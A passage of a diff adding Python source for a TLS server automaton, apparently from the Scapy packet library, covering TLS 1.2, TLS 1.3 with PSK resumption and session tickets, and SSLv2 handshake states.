server_ecdsa_key. + """ + self.cur_session = tlsSession(connection_end="server") + self.cur_session.server_certs = [self.mycert] + self.cur_session.server_key = self.mykey + if isinstance(self.mykey, PrivKeyRSA): + self.cur_session.server_rsa_key = self.mykey + # elif isinstance(self.mykey, PrivKeyECDSA): + # self.cur_session.server_ecdsa_key = self.mykey + raise self.WAITING_CLIENTFLIGHT1() + + @ATMT.state() + def WAITING_CLIENTFLIGHT1(self): + self.get_next_msg() + raise self.RECEIVED_CLIENTFLIGHT1() + + @ATMT.state() + def RECEIVED_CLIENTFLIGHT1(self): + pass + + # TLS handshake # + + @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=1) + def tls13_should_handle_ClientHello(self): + self.raise_on_packet(TLS13ClientHello, + self.tls13_HANDLED_CLIENTHELLO) + + @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=2) + def should_handle_ClientHello(self): + self.raise_on_packet(TLSClientHello, + self.HANDLED_CLIENTHELLO) + + @ATMT.state() + def HANDLED_CLIENTHELLO(self): + """ + We extract cipher suites candidates from the client's proposition. + """ + if isinstance(self.mykey, PrivKeyRSA): + kx = "RSA" + elif isinstance(self.mykey, PrivKeyECDSA): + kx = "ECDSA" + if get_usable_ciphersuites(self.cur_pkt.ciphers, kx): + raise self.PREPARE_SERVERFLIGHT1() + raise self.NO_USABLE_CIPHERSUITE() + + @ATMT.state() + def NO_USABLE_CIPHERSUITE(self): + self.vprint("No usable cipher suite!") + raise self.CLOSE_NOTIFY() + + @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=3) + def missing_ClientHello(self): + raise self.MISSING_CLIENTHELLO() + + @ATMT.state(final=True) + def MISSING_CLIENTHELLO(self): + self.vprint("Missing ClientHello message!") + raise self.CLOSE_NOTIFY() + + @ATMT.state() + def PREPARE_SERVERFLIGHT1(self): + self.add_record() + + @ATMT.condition(PREPARE_SERVERFLIGHT1) + def should_add_ServerHello(self): + """ + Selecting a cipher suite should be no trouble as we already caught + the None case previously. + + Also, we do not manage extensions at all. + """ + if isinstance(self.mykey, PrivKeyRSA): + kx = "RSA" + elif isinstance(self.mykey, PrivKeyECDSA): + kx = "ECDSA" + usable_suites = get_usable_ciphersuites(self.cur_pkt.ciphers, kx) + c = usable_suites[0] + if self.preferred_ciphersuite in usable_suites: + c = self.preferred_ciphersuite + self.add_msg(TLSServerHello(cipher=c)) + raise self.ADDED_SERVERHELLO() + + @ATMT.state() + def ADDED_SERVERHELLO(self): + pass + + @ATMT.condition(ADDED_SERVERHELLO) + def should_add_Certificate(self): + c = self.buffer_out[-1].msg[0].cipher + if not _tls_cipher_suites_cls[c].kx_alg.anonymous: + self.add_msg(TLSCertificate(certs=self.cur_session.server_certs)) + raise self.ADDED_CERTIFICATE() + + @ATMT.state() + def ADDED_CERTIFICATE(self): + pass + + @ATMT.condition(ADDED_CERTIFICATE) + def should_add_ServerKeyExchange(self): + c = self.buffer_out[-1].msg[0].cipher + if not _tls_cipher_suites_cls[c].kx_alg.no_ske: + self.add_msg(TLSServerKeyExchange()) + raise self.ADDED_SERVERKEYEXCHANGE() + + @ATMT.state() + def ADDED_SERVERKEYEXCHANGE(self): + pass + + @ATMT.condition(ADDED_SERVERKEYEXCHANGE) + def should_add_CertificateRequest(self): + if self.client_auth: + self.add_msg(TLSCertificateRequest()) + raise self.ADDED_CERTIFICATEREQUEST() + + @ATMT.state() + def ADDED_CERTIFICATEREQUEST(self): + pass + + @ATMT.condition(ADDED_CERTIFICATEREQUEST) + def should_add_ServerHelloDone(self): + self.add_msg(TLSServerHelloDone()) + raise self.ADDED_SERVERHELLODONE() + + @ATMT.state() + def ADDED_SERVERHELLODONE(self): + pass + + @ATMT.condition(ADDED_SERVERHELLODONE) + def should_send_ServerFlight1(self): + self.flush_records() + raise self.WAITING_CLIENTFLIGHT2() + + @ATMT.state() + def WAITING_CLIENTFLIGHT2(self): + self.get_next_msg() + raise self.RECEIVED_CLIENTFLIGHT2() + + @ATMT.state() + def RECEIVED_CLIENTFLIGHT2(self): + pass + + @ATMT.condition(RECEIVED_CLIENTFLIGHT2, prio=1) + def should_handle_ClientCertificate(self): + self.raise_on_packet(TLSCertificate, + self.HANDLED_CLIENTCERTIFICATE) + + @ATMT.condition(RECEIVED_CLIENTFLIGHT2, prio=2) + def no_ClientCertificate(self): + if self.client_auth: + raise self.MISSING_CLIENTCERTIFICATE() + raise self.HANDLED_CLIENTCERTIFICATE() + + @ATMT.state() + def MISSING_CLIENTCERTIFICATE(self): + self.vprint("Missing ClientCertificate!") + raise self.CLOSE_NOTIFY() + + @ATMT.state() + def HANDLED_CLIENTCERTIFICATE(self): + if self.client_auth: + self.vprint("Received client certificate chain...") + + @ATMT.condition(HANDLED_CLIENTCERTIFICATE, prio=1) + def should_handle_ClientKeyExchange(self): + self.raise_on_packet(TLSClientKeyExchange, + self.HANDLED_CLIENTKEYEXCHANGE) + + @ATMT.state() + def HANDLED_CLIENTKEYEXCHANGE(self): + pass + + @ATMT.condition(HANDLED_CLIENTCERTIFICATE, prio=2) + def should_handle_Alert_from_ClientCertificate(self): + self.raise_on_packet(TLSAlert, + self.HANDLED_ALERT_FROM_CLIENTCERTIFICATE) + + @ATMT.state() + def HANDLED_ALERT_FROM_CLIENTCERTIFICATE(self): + self.vprint("Received Alert message instead of ClientKeyExchange!") + self.vprint(self.cur_pkt.mysummary()) + raise self.CLOSE_NOTIFY() + + @ATMT.condition(HANDLED_CLIENTCERTIFICATE, prio=3) + def missing_ClientKeyExchange(self): + raise self.MISSING_CLIENTKEYEXCHANGE() + + @ATMT.state() + def MISSING_CLIENTKEYEXCHANGE(self): + self.vprint("Missing ClientKeyExchange!") + raise self.CLOSE_NOTIFY() + + @ATMT.condition(HANDLED_CLIENTKEYEXCHANGE, prio=1) + def should_handle_CertificateVerify(self): + self.raise_on_packet(TLSCertificateVerify, + self.HANDLED_CERTIFICATEVERIFY) + + @ATMT.condition(HANDLED_CLIENTKEYEXCHANGE, prio=2) + def no_CertificateVerify(self): + if self.client_auth: + raise self.MISSING_CERTIFICATEVERIFY() + raise self.HANDLED_CERTIFICATEVERIFY() + + @ATMT.state() + def MISSING_CERTIFICATEVERIFY(self): + self.vprint("Missing CertificateVerify!") + raise self.CLOSE_NOTIFY() + + @ATMT.state() + def HANDLED_CERTIFICATEVERIFY(self): + pass + + @ATMT.condition(HANDLED_CERTIFICATEVERIFY, prio=1) + def should_handle_ChangeCipherSpec(self): + self.raise_on_packet(TLSChangeCipherSpec, + self.HANDLED_CHANGECIPHERSPEC) + + @ATMT.state() + def HANDLED_CHANGECIPHERSPEC(self): + pass + + @ATMT.condition(HANDLED_CERTIFICATEVERIFY, prio=2) + def should_handle_Alert_from_ClientKeyExchange(self): + self.raise_on_packet(TLSAlert, + self.HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE) + + @ATMT.state() + def HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE(self): + self.vprint("Received Alert message instead of ChangeCipherSpec!") + self.vprint(self.cur_pkt.mysummary()) + raise self.CLOSE_NOTIFY() + + @ATMT.condition(HANDLED_CERTIFICATEVERIFY, prio=3) + def missing_ChangeCipherSpec(self): + raise self.MISSING_CHANGECIPHERSPEC() + + @ATMT.state() + def MISSING_CHANGECIPHERSPEC(self): + self.vprint("Missing ChangeCipherSpec!") + raise self.CLOSE_NOTIFY() + + @ATMT.condition(HANDLED_CHANGECIPHERSPEC, prio=1) + def should_handle_ClientFinished(self): + self.raise_on_packet(TLSFinished, + self.HANDLED_CLIENTFINISHED) + + @ATMT.state() + def HANDLED_CLIENTFINISHED(self): + raise self.PREPARE_SERVERFLIGHT2() + + @ATMT.condition(HANDLED_CHANGECIPHERSPEC, prio=2) + def should_handle_Alert_from_ClientFinished(self): + self.raise_on_packet(TLSAlert, + self.HANDLED_ALERT_FROM_CHANGECIPHERSPEC) + + @ATMT.state() + def HANDLED_ALERT_FROM_CHANGECIPHERSPEC(self): + self.vprint("Received Alert message instead of Finished!") + raise self.CLOSE_NOTIFY() + + @ATMT.condition(HANDLED_CHANGECIPHERSPEC, prio=3) + def missing_ClientFinished(self): + raise self.MISSING_CLIENTFINISHED() + + @ATMT.state() + def MISSING_CLIENTFINISHED(self): + self.vprint("Missing Finished!") + raise self.CLOSE_NOTIFY() + + @ATMT.state() + def PREPARE_SERVERFLIGHT2(self): + self.add_record() + + @ATMT.condition(PREPARE_SERVERFLIGHT2) + def should_add_ChangeCipherSpec(self): + self.add_msg(TLSChangeCipherSpec()) + raise self.ADDED_CHANGECIPHERSPEC() + + @ATMT.state() + def ADDED_CHANGECIPHERSPEC(self): + pass + + @ATMT.condition(ADDED_CHANGECIPHERSPEC) + def should_add_ServerFinished(self): + self.add_record() + self.add_msg(TLSFinished()) + raise self.ADDED_SERVERFINISHED() + + @ATMT.state() + def ADDED_SERVERFINISHED(self): + pass + + @ATMT.condition(ADDED_SERVERFINISHED) + def should_send_ServerFlight2(self): + self.flush_records() + raise self.SENT_SERVERFLIGHT2() + + @ATMT.state() + def SENT_SERVERFLIGHT2(self): + self.vprint("TLS handshake completed!") + self.vprint_sessioninfo() + if self.is_echo_server: + self.vprint("Will now act as a simple echo server.") + raise self.WAITING_CLIENTDATA() + + # end of TLS handshake # + + # TLS 1.3 handshake # + @ATMT.state() + def tls13_HANDLED_CLIENTHELLO(self): + """ + Check if we have to send an HelloRetryRequest + XXX check also with non ECC groups + """ + s = self.cur_session + m = s.handshake_messages_parsed[-1] + # Check if we have to send an HelloRetryRequest + # XXX check also with non ECC groups + if self.curve: + # We first look for a KeyShareEntry with same group as self.curve + if not _tls_named_groups[self.curve] in s.tls13_client_pubshares: + # We then check if self.curve was advertised in SupportedGroups + # extension + for e in m.ext: + if isinstance(e, TLS_Ext_SupportedGroups): + if self.curve in e.groups: + # Here, we need to send an HelloRetryRequest + raise self.tls13_PREPARE_HELLORETRYREQUEST() + raise self.tls13_PREPARE_SERVERFLIGHT1() + + @ATMT.state() + def tls13_PREPARE_HELLORETRYREQUEST(self): + pass + + @ATMT.condition(tls13_PREPARE_HELLORETRYREQUEST) + def tls13_should_add_HelloRetryRequest(self): + self.add_record(is_tls13=False) + if isinstance(self.mykey, PrivKeyRSA): + kx = "RSA" + elif isinstance(self.mykey, PrivKeyECDSA): + kx = "ECDSA" + usable_suites = get_usable_ciphersuites(self.cur_pkt.ciphers, kx) + c = usable_suites[0] + ext = [TLS_Ext_SupportedVersion_SH(version="TLS 1.3"), + TLS_Ext_KeyShare_HRR(selected_group=_tls_named_groups[self.curve])] # noqa: E501 + if self.cookie: + ext += TLS_Ext_Cookie() + p = TLS13HelloRetryRequest(cipher=c, ext=ext) + self.add_msg(p) + self.flush_records() + raise self.tls13_HANDLED_HELLORETRYREQUEST() + + @ATMT.state() + def tls13_HANDLED_HELLORETRYREQUEST(self): + pass + + @ATMT.condition(tls13_HANDLED_HELLORETRYREQUEST) + def tls13_should_add_ServerHello_from_HRR(self): + raise self.WAITING_CLIENTFLIGHT1() + + @ATMT.state() + def tls13_PREPARE_SERVERFLIGHT1(self): + self.add_record(is_tls13=False) + + def verify_psk_binder(self, psk_identity, obfuscated_age, binder): + """ + This function verifies the binder received in the 'pre_shared_key' + extension and return the resumption PSK associated with those + values. + + The arguments psk_identity, obfuscated_age and binder are taken + from 'pre_shared_key' in the ClientHello. + """ + with open(self.session_ticket_file, "rb") as f: + for line in f: + s = line.strip().split(b';') + if len(s) < 8: + continue + ticket_label = binascii.unhexlify(s[0]) + ticket_nonce = binascii.unhexlify(s[1]) + tmp = binascii.unhexlify(s[2]) + ticket_lifetime = struct.unpack("!I", tmp)[0] + tmp = binascii.unhexlify(s[3]) + ticket_age_add = struct.unpack("!I", tmp)[0] + tmp = binascii.unhexlify(s[4]) + ticket_start_time = struct.unpack("!I", tmp)[0] + resumption_secret = binascii.unhexlify(s[5]) + tmp = binascii.unhexlify(s[6]) + res_ciphersuite = struct.unpack("!H", tmp)[0] + tmp = binascii.unhexlify(s[7]) + max_early_data_size = struct.unpack("!I", tmp)[0] + + # Here psk_identity is a Ticket type but ticket_label is bytes, + # we need to convert psk_identiy to bytes in order to compare + # both strings + if psk_identity.__bytes__() == ticket_label: + + # We compute the resumed PSK associated the resumption + # secret + self.vprint("Ticket found in database !") + if res_ciphersuite not in _tls_cipher_suites_cls: + warning("Unknown cipher suite %d" % res_ciphersuite) + # we do not try to set a default nor stop the execution + else: + cs_cls = _tls_cipher_suites_cls[res_ciphersuite] + + hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) + hash_len = hkdf.hash.digest_size + + tls13_psk_secret = hkdf.expand_label(resumption_secret, + b"resumption", + ticket_nonce, + hash_len) + # We verify that ticket age is not expired + agesec = int((time.time() - ticket_start_time)) + # agems = agesec * 1000 + ticket_age = (obfuscated_age - ticket_age_add) % 0xffffffff # noqa: F841, E501 + + # We verify the PSK binder + s = self.cur_session + if s.tls13_retry: + handshake_context = struct.pack("B", 254) + handshake_context += struct.pack("B", 0) + handshake_context += struct.pack("B", 0) + handshake_context += struct.pack("B", hash_len) + digest = hashes.Hash(hkdf.hash, backend=default_backend()) # noqa: E501 + digest.update(s.handshake_messages[0]) + handshake_context += digest.finalize() + for m in s.handshake_messages[1:]: + if (isinstance(TLS13ClientHello) or + isinstance(TLSClientHello)): + handshake_context += m[:-hash_len - 3] + else: + handshake_context += m + else: + handshake_context = s.handshake_messages[0][:-hash_len - 3] # noqa: E501 + + # We compute the binder key + # XXX use the compute_tls13_early_secrets() function + tls13_early_secret = hkdf.extract(None, tls13_psk_secret) + binder_key = hkdf.derive_secret(tls13_early_secret, + b"res binder", + b"") + computed_binder = hkdf.compute_verify_data(binder_key, + handshake_context) # noqa: E501 + if (agesec < ticket_lifetime and + computed_binder == binder): + self.vprint("Ticket has been accepted ! ") + self.max_early_data_size = max_early_data_size + self.resumed_ciphersuite = res_ciphersuite + return tls13_psk_secret + self.vprint("Ticket has not been accepted ! Fallback to a complete handshake") # noqa: E501 + return None + + @ATMT.condition(tls13_PREPARE_SERVERFLIGHT1) + def tls13_should_add_ServerHello(self): + + psk_identity = None + psk_key_exchange_mode = None + obfuscated_age = None + # XXX check ClientHello extensions... + for m in reversed(self.cur_session.handshake_messages_parsed): + if isinstance(m, (TLS13ClientHello, TLSClientHello)): + for e in m.ext: + if isinstance(e, TLS_Ext_PreSharedKey_CH): + psk_identity = e.identities[0].identity + obfuscated_age = e.identities[0].obfuscated_ticket_age + binder = e.binders[0].binder + + # For out-of-bound PSK, obfuscated_ticket_age should be + # 0. We use this field to distinguish between out-of- + # bound PSK and resumed PSK + is_out_of_band_psk = (obfuscated_age == 0) + + if isinstance(e, TLS_Ext_PSKKeyExchangeModes): + psk_key_exchange_mode = e.kxmodes[0] + + if isinstance(self.mykey, PrivKeyRSA): + kx = "RSA" + elif isinstance(self.mykey, PrivKeyECDSA): + kx = "ECDSA" + usable_suites = get_usable_ciphersuites(self.cur_pkt.ciphers, kx) + c = usable_suites[0] + group = next(iter(self.cur_session.tls13_client_pubshares)) + ext = [TLS_Ext_SupportedVersion_SH(version="TLS 1.3")] + if (psk_identity and obfuscated_age and psk_key_exchange_mode): + s = self.cur_session + if is_out_of_band_psk: + # Handshake with external PSK authentication + # XXX test that self.psk_secret is set + s.tls13_psk_secret = binascii.unhexlify(self.psk_secret) + # 0: "psk_ke" + # 1: "psk_dhe_ke" + if psk_key_exchange_mode == 1: + server_kse = KeyShareEntry(group=group) + ext += TLS_Ext_KeyShare_SH(server_share=server_kse) + ext += TLS_Ext_PreSharedKey_SH(selected_identity=0) + else: + resumption_psk = self.verify_psk_binder(psk_identity, + obfuscated_age, + binder) + if resumption_psk is None: + # We did not find a ticket matching the one provided in the + # ClientHello. We fallback to a regular 1-RTT handshake + server_kse = KeyShareEntry(group=group) + ext += [TLS_Ext_KeyShare_SH(server_share=server_kse)] + else: + # 0: "psk_ke" + # 1: "psk_dhe_ke" + if psk_key_exchange_mode == 1: + server_kse = KeyShareEntry(group=group) + ext += [TLS_Ext_KeyShare_SH(server_share=server_kse)] + + ext += [TLS_Ext_PreSharedKey_SH(selected_identity=0)] + self.cur_session.tls13_psk_secret = resumption_psk + else: + # Standard Handshake + ext += TLS_Ext_KeyShare_SH(server_share=KeyShareEntry(group=group)) + + if self.cur_session.sid is not None: + p = TLS13ServerHello(cipher=c, sid=self.cur_session.sid, ext=ext) + else: + p = TLS13ServerHello(cipher=c, ext=ext) + self.add_msg(p) + raise self.tls13_ADDED_SERVERHELLO() + + @ATMT.state() + def tls13_ADDED_SERVERHELLO(self): + # If the client proposed a non-empty session ID in his ClientHello + # he requested the middlebox compatibility mode (RFC8446, appendix D.4) + # In this case, the server should send a dummy ChangeCipherSpec in + # between the ServerHello and the encrypted handshake messages + if self.cur_session.sid is not None: + self.add_record(is_tls12=True) + self.add_msg(TLSChangeCipherSpec()) + pass + + @ATMT.condition(tls13_ADDED_SERVERHELLO) + def tls13_should_add_EncryptedExtensions(self): + self.add_record(is_tls13=True) + self.add_msg(TLSEncryptedExtensions(extlen=0)) + raise self.tls13_ADDED_ENCRYPTEDEXTENSIONS() + + @ATMT.state() + def tls13_ADDED_ENCRYPTEDEXTENSIONS(self): + pass + + @ATMT.condition(tls13_ADDED_ENCRYPTEDEXTENSIONS) + def tls13_should_add_CertificateRequest(self): + if self.client_auth: + ext = [TLS_Ext_SignatureAlgorithms(sig_algs=["sha256+rsaepss"])] + p = TLS13CertificateRequest(ext=ext) + self.add_msg(p) + raise self.tls13_ADDED_CERTIFICATEREQUEST() + + @ATMT.state() + def tls13_ADDED_CERTIFICATEREQUEST(self): + pass + + @ATMT.condition(tls13_ADDED_CERTIFICATEREQUEST) + def tls13_should_add_Certificate(self): + # If a PSK is set, an extension pre_shared_key + # was send in the ServerHello. No certificate should + # be send here + if not self.cur_session.tls13_psk_secret: + certs = [] + for c in self.cur_session.server_certs: + certs += _ASN1CertAndExt(cert=c) + + self.add_msg(TLS13Certificate(certs=certs)) + raise self.tls13_ADDED_CERTIFICATE() + + @ATMT.state() + def tls13_ADDED_CERTIFICATE(self): + pass + + @ATMT.condition(tls13_ADDED_CERTIFICATE) + def tls13_should_add_CertificateVerifiy(self): + if not self.cur_session.tls13_psk_secret: + self.add_msg(TLSCertificateVerify()) + raise self.tls13_ADDED_CERTIFICATEVERIFY() + + @ATMT.state() + def tls13_ADDED_CERTIFICATEVERIFY(self): + pass + + @ATMT.condition(tls13_ADDED_CERTIFICATEVERIFY) + def tls13_should_add_Finished(self): + self.add_msg(TLSFinished()) + raise self.tls13_ADDED_SERVERFINISHED() + + @ATMT.state() + def tls13_ADDED_SERVERFINISHED(self): + pass + + @ATMT.condition(tls13_ADDED_SERVERFINISHED) + def tls13_should_send_ServerFlight1(self): + self.flush_records() + raise self.tls13_WAITING_CLIENTFLIGHT2() + + @ATMT.state() + def tls13_WAITING_CLIENTFLIGHT2(self): + self.get_next_msg() + raise self.tls13_RECEIVED_CLIENTFLIGHT2() + + @ATMT.state() + def tls13_RECEIVED_CLIENTFLIGHT2(self): + pass + + @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=1) + def tls13_should_handle_ClientFlight2(self): + self.raise_on_packet(TLS13Certificate, + self.TLS13_HANDLED_CLIENTCERTIFICATE) + + @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=2) + def tls13_should_handle_Alert_from_ClientCertificate(self): + self.raise_on_packet(TLSAlert, + self.TLS13_HANDLED_ALERT_FROM_CLIENTCERTIFICATE) + + @ATMT.state() + def TLS13_HANDLED_ALERT_FROM_CLIENTCERTIFICATE(self): + self.vprint("Received Alert message instead of ClientKeyExchange!") + self.vprint(self.cur_pkt.mysummary()) + raise self.CLOSE_NOTIFY() + + # For Middlebox compatibility (see RFC8446, appendix D.4) + # a dummy ChangeCipherSpec record can be send. In this case, + # this function just read the ChangeCipherSpec message and + # go back in a previous state continuing with the next TLS 1.3 + # record + @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=3) + def tls13_should_handle_ClientCCS(self): + self.raise_on_packet(TLSChangeCipherSpec, + self.tls13_RECEIVED_CLIENTFLIGHT2) + + @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=4) + def tls13_no_ClientCertificate(self): + if self.client_auth: + raise self.TLS13_MISSING_CLIENTCERTIFICATE() + self.raise_on_packet(TLSFinished, + self.TLS13_HANDLED_CLIENTFINISHED) + + # RFC8446, section 4.4.2.4 : + # "If the client does not send any certificates (i.e., it sends an empty + # Certificate message), the server MAY at its discretion either + # continue the handshake without client authentication or abort the + # handshake with a "certificate_required" alert." + # Here, we abort the handshake. + @ATMT.state() + def TLS13_HANDLED_CLIENTCERTIFICATE(self): + if self.client_auth: + self.vprint("Received client certificate chain...") + if isinstance(self.cur_pkt, TLS13Certificate): + if self.cur_pkt.certslen == 0: + self.vprint("but it's empty !") + raise self.TLS13_MISSING_CLIENTCERTIFICATE() + + @ATMT.condition(TLS13_HANDLED_CLIENTCERTIFICATE) + def tls13_should_handle_ClientCertificateVerify(self): + self.raise_on_packet(TLSCertificateVerify, + self.TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY) + + @ATMT.condition(TLS13_HANDLED_CLIENTCERTIFICATE, prio=2) + def tls13_no_Client_CertificateVerify(self): + if self.client_auth: + raise self.TLS13_MISSING_CLIENTCERTIFICATE() + raise self.TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY() + + @ATMT.state() + def TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY(self): + pass + + @ATMT.condition(TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY) + def tls13_should_handle_ClientFinished(self): + self.raise_on_packet(TLSFinished, + self.TLS13_HANDLED_CLIENTFINISHED) + + @ATMT.state() + def TLS13_MISSING_CLIENTCERTIFICATE(self): + self.vprint("Missing ClientCertificate!") + self.add_record() + self.add_msg(TLSAlert(level=2, descr=0x74)) + self.flush_records() + self.vprint("Sending TLSAlert 116") + self.socket.close() + raise self.WAITING_CLIENT() + + @ATMT.state() + def TLS13_HANDLED_CLIENTFINISHED(self): + self.vprint("TLS handshake completed!") + self.vprint_sessioninfo() + if self.is_echo_server: + self.vprint("Will now act as a simple echo server.") + raise self.WAITING_CLIENTDATA() + + # end of TLS 1.3 handshake # + + @ATMT.state() + def WAITING_CLIENTDATA(self): + self.get_next_msg(self.max_client_idle_time, 1) + raise self.RECEIVED_CLIENTDATA() + + @ATMT.state() + def RECEIVED_CLIENTDATA(self): + pass + + def save_ticket(self, ticket): + """ + This function save a ticket and others parameters in the + file given as argument to the automaton + Warning : The file is not protected and contains sensitive + information. It should be used only for testing purpose. + """ + if (not isinstance(ticket, TLS13NewSessionTicket) or + self.session_ticket_file is None): + return + + s = self.cur_session + with open(self.session_ticket_file, "ab") as f: + # ticket;ticket_nonce;obfuscated_age;start_time;resumption_secret + line = binascii.hexlify(ticket.ticket) + line += b";" + line += binascii.hexlify(ticket.ticket_nonce) + line += b";" + line += binascii.hexlify(struct.pack("!I", ticket.ticket_lifetime)) + line += b";" + line += binascii.hexlify(struct.pack("!I", ticket.ticket_age_add)) + line += b";" + line += binascii.hexlify(struct.pack("!I", int(time.time()))) + line += b";" + line += binascii.hexlify(s.tls13_derived_secrets["resumption_secret"]) # noqa: E501 + line += b";" + line += binascii.hexlify(struct.pack("!H", s.wcs.ciphersuite.val)) + line += b";" + if (ticket.ext is None or ticket.extlen is None or + ticket.extlen == 0): + line += binascii.hexlify(struct.pack("!I", 0)) + else: + for e in ticket.ext: + if isinstance(e, TLS_Ext_EarlyDataIndicationTicket): + max_size = struct.pack("!I", e.max_early_data_size) + line += binascii.hexlify(max_size) + line += b"\n" + f.write(line) + + @ATMT.condition(RECEIVED_CLIENTDATA) + def should_handle_ClientData(self): + if not self.buffer_in: + self.vprint("Client idle time maxed out.") + raise self.CLOSE_NOTIFY() + p = self.buffer_in[0] + self.buffer_in = self.buffer_in[1:] + + recv_data = b"" + if isinstance(p, TLSApplicationData): + print("> Received: %r" % p.data) + recv_data = p.data + lines = recv_data.split(b"\n") + for l in lines: + if l.startswith(b"stop_server"): + raise self.CLOSE_NOTIFY_FINAL() + elif isinstance(p, TLSAlert): + print("> Received: %r" % p) + raise self.CLOSE_NOTIFY() + elif isinstance(p, TLS13KeyUpdate): + print("> Received: %r" % p) + p = TLS13KeyUpdate(request_update=0) + self.add_record() + self.add_msg(p) + raise self.ADDED_SERVERDATA() + else: + print("> Received: %r" % p) + + if recv_data.startswith(b"GET / HTTP/1.1"): + p = TLSApplicationData(data=self.http_sessioninfo()) + + if self.is_echo_server or recv_data.startswith(b"GET / HTTP/1.1"): + self.add_record() + self.add_msg(p) + if self.handle_session_ticket: + self.add_record() + ticket = TLS13NewSessionTicket(ext=[]) + self.add_msg(ticket) + raise self.ADDED_SERVERDATA() + + raise self.HANDLED_CLIENTDATA() + + @ATMT.state() + def HANDLED_CLIENTDATA(self): + raise self.WAITING_CLIENTDATA() + + @ATMT.state() + def ADDED_SERVERDATA(self): + pass + + @ATMT.condition(ADDED_SERVERDATA) + def should_send_ServerData(self): + if self.session_ticket_file: + save_ticket = False + for p in self.buffer_out: + if isinstance(p, TLS13): + # Check if there's a NewSessionTicket to send + save_ticket = all(map(lambda x: isinstance(x, TLS13NewSessionTicket), # noqa: E501 + p.inner.msg)) + if save_ticket: + break + self.flush_records() + if self.session_ticket_file and save_ticket: + # Loop backward in message send to retrieve the parsed + # NewSessionTicket. This message is not completely build before the + # flush_records() call. Other way to build this message before ? + for p in reversed(self.cur_session.handshake_messages_parsed): + if isinstance(p, TLS13NewSessionTicket): + self.save_ticket(p) + break + raise self.SENT_SERVERDATA() + + @ATMT.state() + def SENT_SERVERDATA(self): + raise self.WAITING_CLIENTDATA() + + @ATMT.state() + def CLOSE_NOTIFY(self): + self.vprint() + self.vprint("Sending a TLSAlert to the client...") + + @ATMT.condition(CLOSE_NOTIFY) + def close_session(self): + self.add_record() + self.add_msg(TLSAlert(level=1, descr=0)) + try: + self.flush_records() + except Exception: + self.vprint("Could not send termination Alert, maybe the client left?") # noqa: E501 + self.buffer_out = [] + self.socket.close() + raise self.WAITING_CLIENT() + + @ATMT.state() + def CLOSE_NOTIFY_FINAL(self): + self.vprint() + self.vprint("Sending a TLSAlert to the client...") + + @ATMT.condition(CLOSE_NOTIFY_FINAL) + def close_session_final(self): + self.add_record() + self.add_msg(TLSAlert(level=1, descr=0)) + try: + self.flush_records() + except Exception: + self.vprint("Could not send termination Alert, maybe the client left?") # noqa: E501 + # We might call shutdown, but unit tests with s_client fail with this + # self.socket.shutdown(1) + self.socket.close() + raise self.FINAL() + + # SSLv2 handshake # + + @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=2) + def sslv2_should_handle_ClientHello(self): + self.raise_on_packet(SSLv2ClientHello, + self.SSLv2_HANDLED_CLIENTHELLO) + + @ATMT.state() + def SSLv2_HANDLED_CLIENTHELLO(self): + pass + + @ATMT.condition(SSLv2_HANDLED_CLIENTHELLO) + def sslv2_should_add_ServerHello(self): + self.add_record(is_sslv2=True) + cert = self.mycert + ciphers = [0x010080, 0x020080, 0x030080, 0x040080, + 0x050080, 0x060040, 0x0700C0] + connection_id = randstring(16) + p = SSLv2ServerHello(cert=cert, + ciphers=ciphers, + connection_id=connection_id) + self.add_msg(p) + raise self.SSLv2_ADDED_SERVERHELLO() + + @ATMT.state() + def SSLv2_ADDED_SERVERHELLO(self): + pass + + @ATMT.condition(SSLv2_ADDED_SERVERHELLO) + def sslv2_should_send_ServerHello(self): + self.flush_records() + raise self.SSLv2_SENT_SERVERHELLO() + + @ATMT.state() + def SSLv2_SENT_SERVERHELLO(self): + raise self.SSLv2_WAITING_CLIENTMASTERKEY() + + @ATMT.state() + def SSLv2_WAITING_CLIENTMASTERKEY(self): + self.get_next_msg() + raise self.SSLv2_RECEIVED_CLIENTMASTERKEY() + + @ATMT.state() + def SSLv2_RECEIVED_CLIENTMASTERKEY(self): + pass + + @ATMT.condition(SSLv2_RECEIVED_CLIENTMASTERKEY, prio=1) + def sslv2_should_handle_ClientMasterKey(self): + self.raise_on_packet(SSLv2ClientMasterKey, + self.SSLv2_HANDLED_CLIENTMASTERKEY) + + @ATMT.condition(SSLv2_RECEIVED_CLIENTMASTERKEY, prio=2) + def missing_ClientMasterKey(self): + raise self.SSLv2_MISSING_CLIENTMASTERKEY() + + @ATMT.state() + def SSLv2_MISSING_CLIENTMASTERKEY(self): + self.vprint("Missing SSLv2 ClientMasterKey!") + raise self.SSLv2_CLOSE_NOTIFY() + + @ATMT.state() + def SSLv2_HANDLED_CLIENTMASTERKEY(self): + raise self.SSLv2_RECEIVED_CLIENTFINISHED() + + @ATMT.state() + def SSLv2_RECEIVED_CLIENTFINISHED(self): + pass + + @ATMT.condition(SSLv2_RECEIVED_CLIENTFINISHED, prio=1) + def sslv2_should_handle_ClientFinished(self): + self.raise_on_packet(SSLv2ClientFinished, + self.SSLv2_HANDLED_CLIENTFINISHED) + + @ATMT.state() + def SSLv2_HANDLED_CLIENTFINISHED(self): + pass + + @ATMT.condition(SSLv2_HANDLED_CLIENTFINISHED, prio=1) + def sslv2_should_add_ServerVerify_from_ClientFinished(self): + hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] + if SSLv2ServerVerify in hs_msg: + return + self.add_record(is_sslv2=True) + p = SSLv2ServerVerify(challenge=self.cur_session.sslv2_challenge) + self.add_msg(p) + raise self.SSLv2_ADDED_SERVERVERIFY() + + @ATMT.condition(SSLv2_RECEIVED_CLIENTFINISHED, prio=2) + def sslv2_should_add_ServerVerify_from_NoClientFinished(self): + hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] + if 